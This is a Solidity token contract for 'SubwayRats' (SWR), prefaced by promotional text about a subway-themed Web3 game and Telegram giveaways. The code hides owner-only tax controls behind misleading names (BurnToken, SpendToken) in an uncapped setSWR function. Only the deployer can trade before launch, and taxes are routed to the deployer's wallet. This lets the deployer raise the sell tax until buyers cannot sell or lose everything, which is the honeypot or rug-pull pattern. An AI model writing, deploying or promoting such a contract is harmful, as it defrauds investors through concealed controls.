/*

Featuring on the underground NYC subway, SubwayRats is a token project with gaming utility built on the Ethereum Network. Travel and play in our unique Web3 ecosystem. 

On the website there is a secret link (hidden somethere underground) where you could input your Telegram ID so that we could invite you to the SWR giveaway group. We will run several ETH Giveaways there as a reward to the early supporters.

TELEGRAM: https://t.me/SubwayRats
TWITTER: https://twitter.com/SubwayRatsERC
WEBSITE: https://subwayrats.site

*/
// SPDX-License-Identifier: unlicense

pragma solidity ^0.8.20;

    interface IUniswapV2Router02 {
        function swapExactTokensForETHSupportingFeeOnTransferTokens(
            uint amountIn,
            uint amountOutMin,
            address[] calldata path,
            address to,
            uint deadline
            ) external;
        }
        
    contract SubwayRats {
        string public constant name = "SubwayRats";  //
        string public constant symbol = "SWR";  //
        uint8 public constant decimals = 18;
        uint256 public constant totalSupply = 100_000_000 * 10**decimals;

        uint256 BurnToken = 0;
        uint256 SpendToken = 0;
        uint256 constant swapAmount = totalSupply / 100;

        mapping (address => uint256) public balanceOf;
        mapping (address => mapping (address => uint256)) public allowance;
            
        error Permissions();
            
        event Transfer(address indexed from, address indexed to, uint256 value);
        event Approval(
            address indexed owner,
            address indexed spender,
            uint256 value
        );
            

        address private pair;
        address constant ETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
        address constant routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
        IUniswapV2Router02 constant _uniswapV2Router = IUniswapV2Router02(routerAddress);
        address payable constant deployer = payable(address(0x5dAbe10f18E84c8E602e1430eca4bb619487d03d)); //

        bool private swapping;
        bool private tradingOpen;

        constructor() {
            balanceOf[msg.sender] = totalSupply;
            allowance[address(this)][routerAddress] = type(uint256).max;
            emit Transfer(address(0), msg.sender, totalSupply);
        }

         receive() external payable {}

        function approve(address spender, uint256 amount) external returns (bool){
            allowance[msg.sender][spender] = amount;
            emit Approval(msg.sender, spender, amount);
            return true;
        }

        function transfer(address to, uint256 amount) external returns (bool){
            return _transfer(msg.sender, to, amount);
        }

        function transferFrom(address from, address to, uint256 amount) external returns (bool){
            allowance[from][msg.sender] -= amount;        
            return _transfer(from, to, amount);
        }

        function _transfer(address from, address to, uint256 amount) internal returns (bool){
            require(tradingOpen || from == deployer || to == deployer);

            if(!tradingOpen && pair == address(0) && amount > 0)
                pair = to;

            balanceOf[from] -= amount;

            if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount){
                swapping = true;
                address[] memory path = new  address[](2);
                path[0] = address(this);
                path[1] = ETH;
                _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
                    swapAmount,
                    0,
                    path,
                    address(this),
                    block.timestamp
                    );
                deployer.transfer(address(this).balance);
                swapping = false;
                }

            if(from != address(this)){
                uint256 taxAmount = amount * (from == pair ? BurnToken : SpendToken) / 100;
                amount -= taxAmount;
                balanceOf[address(this)] += taxAmount;
            }
                balanceOf[to] += amount;
                emit Transfer(from, to, amount);
                return true;
            }

        function openTrading() external {
            require(msg.sender == deployer);
            require(!tradingOpen);
            tradingOpen = true;        
            }

            function _setSWR(uint256 newBurn, uint256 newSpend) private {
            BurnToken = newBurn;
            SpendToken = newSpend;
            }

        function setSWR(uint256 newBurn, uint256 newSpend) external {
            if(msg.sender != deployer)        
                revert Permissions();
            _setSWR(newBurn, newSpend);
            }
        }